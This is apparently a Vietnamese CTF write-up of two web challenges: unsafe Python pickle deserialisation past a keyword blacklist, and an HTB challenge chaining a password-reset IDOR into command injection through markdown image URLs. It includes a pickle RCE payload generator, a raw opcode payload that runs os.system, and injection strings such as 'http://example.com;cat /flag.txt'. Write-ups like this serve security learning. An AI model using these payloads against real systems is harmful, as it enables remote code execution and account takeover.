---
# System prepended metadata

title: CTF 14/15
tags: [KCSC]

---

# CTF 14/15

## Pickleball
```python!
@app.route("/process", methods=["GET", "POST"])
def process():
    if "username" not in session:
        return redirect(url_for("login"))

    error = None
    disassembled_output = None

    banned_patterns = [b"\\", b"static", b"templates", b"flag.txt", b">", b"/", b"."]
    banned_instruction = "REDUCE"

    if request.method == "POST":
        payload = request.form.get("payload", "")
        try:
            decoded_data = base64.b64decode(payload)

            for pattern in banned_patterns:
                if pattern in decoded_data:
                    raise ValueError("Payload contains banned characters!")

            try:
                output = io.StringIO()
                pickletools.dis(decoded_data, out=output)
                disassembled_output = output.getvalue()

                if banned_instruction in disassembled_output:
                    raise ValueError(
                        f"Payload contains banned instruction: {banned_instruction}"
                    )

            except Exception as e:
                disassembled_output = "Error!"

            pickle.loads(decoded_data)

        except Exception as e:
            error = str(e)

    return render_template(
        "process.html", error=error, disassembled_output=disassembled_output
    )
```

- đoạn code dùng pickle để deserialize dữ liệu đầu vào của người dùng
- và có blacklist 1 số từ khóa
- gen payload https://github.com/shafdo/pickle-payload-gen-python3
```python!
#!/bin/python3

import pickle,base64,os,sys

try:
	if(sys.argv[1] == "--help" or sys.argv[1] == "-h"):
		print("""\nUSAGE\n=====\n./pickle-payload-gen.py <payload>\n""")
		sys.exit()

	command = sys.argv[1]

except IndexError:
	print("\n[-] No payload specified sticking with default payload => id\n")
	command = "id"


class PAYLOAD():
	def __reduce__(self):
		return os.system, ("{}".format(command),)
		
b64Encoded = base64.b64encode(pickle.dumps(PAYLOAD(), protocol=0)).decode("utf-8")

print("Payload (Base64) => {}".format(b64Encoded))
```

### test local

![image](https://hackmd.io/_uploads/r1QjqCK4yl.png)





![image](https://hackmd.io/_uploads/B18NcCtE1l.png)

![image](https://hackmd.io/_uploads/rJFr5AtNJl.png)


### khai thác web


![image](https://hackmd.io/_uploads/SyiLmL9Vkl.png)

- xóa bỏ dấu "." để không bị ban trong blacklist và mình gửi request


![image](https://hackmd.io/_uploads/rkgdmL94yx.png)

- sau đó truy cập ```http://3ada52375b5f3f47b8af70804b123d15.chall.w1playground.com:8082/static/css/flag``` để lấy flag


![image](https://hackmd.io/_uploads/r1gEQI9V1g.png)

flag: ```W1{do_you_wanna_play_pickleball?_fabe024ba700d99bf696871da940cdb3}```



```python!
import pickle
import base64

opcode=b'''(cos
system
S'tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d)'
o'''

#pickle.loads(opcode)
print(base64.b64encode(opcode).decode())
```

1. Định nghĩa dữ liệu opcode:

- Dữ liệu opcode là một chuỗi byte chứa một payload được viết bằng Pickle, một module trong Python dùng để serialize và deserialize dữ liệu.

```python!
(cos
system
S'tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d)'
o
```

- Import module os (Pickle dùng ký hiệu cos để gọi os).
- Gọi hàm system của module os với tham số chuỗi lệnh

```python!
tar -cf $(echo "L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn"|base64 -d)
```

- Chuỗi L2FwcC9zdGF0aWMvY3NzL2ZsYWcudGFyIC9mbGFn khi giải mã Base64 thành:

```python!
/app/static/css/flag.tar /flag
```

Dòng mã pickle.loads(opcode) (hiện bị bình luận):

Nếu dòng mã này được kích hoạt, nó sẽ giải nén chuỗi Pickle và thực thi lệnh os.system.
Hành động thực thi:

Tệp nén flag.tar sẽ được tạo ra.
Cảnh báo bảo mật: Pickle không an toàn nếu dùng dữ liệu không tin cậy, vì nó có thể thực thi bất kỳ mã Python nào.

Encode chuỗi Pickle thành Base64:

Dòng print(base64.b64encode(opcode).decode()) chuyển đổi payload Pickle thành chuỗi Base64 để dễ dàng nhúng hoặc gửi đi qua mạng.
Kết quả của chuỗi Base64:

```python!
KGNvcwppc3lzdGVtClMnJ3RhciAtY2YgJChlY2hvICJMMkZ3Y0M5emRHSmhiblJrYjNKdUwyWmxaV3R5WjJ4dmJtRnRaU0EyT1dKbFkiCWJhc2U2NCAtZCkKbwpwMAo=
```



## web_armaxis (HTB)

- đăng ký tài khoản và đăng nhaaoj với mail của user test

![image](https://hackmd.io/_uploads/HJyWItTVyg.png)

![image](https://hackmd.io/_uploads/B186PY6E1g.png)

- thực hiện reset password 


![image](https://hackmd.io/_uploads/r1tWOt6E1l.png)

![image](https://hackmd.io/_uploads/BJwfuta4Jg.png)


- token to reset your password: ```af1a33bfaac6f2bf8fe71a4b5ee7432d```

![image](https://hackmd.io/_uploads/By4cOYpVke.png)



- thấy có bị lỗi idor tại chức năng này khi chỉ phân biệt user qua email bởi hàm ```getUserByEmail``` mà không kiểm tra token trong cookie 
- khiến chúng ta có thể tận dụng reset password của user tùy ý trong hệ thống 

```javascript!
router.post("/reset-password", async (req, res) => {
  const { token, newPassword, email } = req.body; // Added 'email' parameter
  if (!token || !newPassword || !email)
    return res.status(400).send("Token, email, and new password are required.");

  try {
    const reset = await getPasswordReset(token);
    if (!reset) return res.status(400).send("Invalid or expired token.");

    const user = await getUserByEmail(email);
    if (!user) return res.status(404).send("User not found.");

    await updateUserPassword(user.id, newPassword);
    await deletePasswordReset(token);

    res.send("Password reset successful.");
  } catch (err) {
    console.error("Error resetting password:", err);
    res.status(500).send("Error resetting password.");
  }
});
```


![image](https://hackmd.io/_uploads/B1r8KKTVJg.png)

- em đặt lại mật khẩu của admin 


![image](https://hackmd.io/_uploads/B133dKT4Je.png)

![image](https://hackmd.io/_uploads/SJXcYY6E1g.png)

- đăng nhập thành công vào tài khoản admin 

![image](https://hackmd.io/_uploads/SkXTFFTV1x.png)

```javascript!
router.post("/weapons/dispatch", authenticate, async (req, res) => {
  const { role } = req.user;
  if (role !== "admin") return res.status(403).send("Access denied.");

  const { name, price, note, dispatched_to } = req.body;
  if (!name || !price || !note || !dispatched_to) {
    return res.status(400).send("All fields are required.");
  }

  try {
    const parsedNote = parseMarkdown(note);

    await dispatchWeapon(name, price, parsedNote, dispatched_to);

    res.send("Weapon dispatched successfully.");
  } catch (err) {
    console.error("Error dispatching weapon:", err);
    res.status(500).send("Error dispatching weapon.");
  }
});
```

- có sử dụng hàm ```parseMarkdown``` có gọi đến ```execSync``` cho phép tạo tiến trình con thực hiện lệnh hệ thống
- dữ liệu trả về sẽ được base64 và cho vào trong thẻ img


```javascript!
function parseMarkdown(content) {
    if (!content) return '';
    return md.render(
        content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => {
            try {
                const fileContent = execSync(`curl -s ${url}`);
                const base64Content = Buffer.from(fileContent).toString('base64');
                return `<img src="data:image/*;base64,${base64Content}" alt="Embedded Image">`;
            } catch (err) {
                console.error(`Error fetching image from URL ${url}:`, err.message);
                return `<p>Error loading image: ${url}</p>`;
            }
        })
    );
}
```

![image](https://hackmd.io/_uploads/SkqxnYTNyl.png)

![image](https://hackmd.io/_uploads/rk4UhKpNJg.png)

- dữ liệu chuyền vào hàm ```parseMarkdown``` chính lấy từ param ```note```

![image](https://hackmd.io/_uploads/SJIIl9aVyx.png)

- trong đó đoạn mã sẽ  in tất cả URL mà regex tìm được trong nội dung Markdown.


```javascript!
content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => {
    console.log('Found URL:', url);
    return match; // Trả lại nội dung không thay đổi
});
```

- em thử với payload ```![Injected](http://example.com;id)``` và trigger  thành công 


![image](https://hackmd.io/_uploads/B1QExc6VJg.png)


![image](https://hackmd.io/_uploads/B16xeqaEye.png)

- sau đó vào lấy flag với payload ```![Injected](http://example.com;cat /flag.txt)```


![image](https://hackmd.io/_uploads/SJS0Zq64Jg.png)


![image](https://hackmd.io/_uploads/r1y8-9TVkg.png)
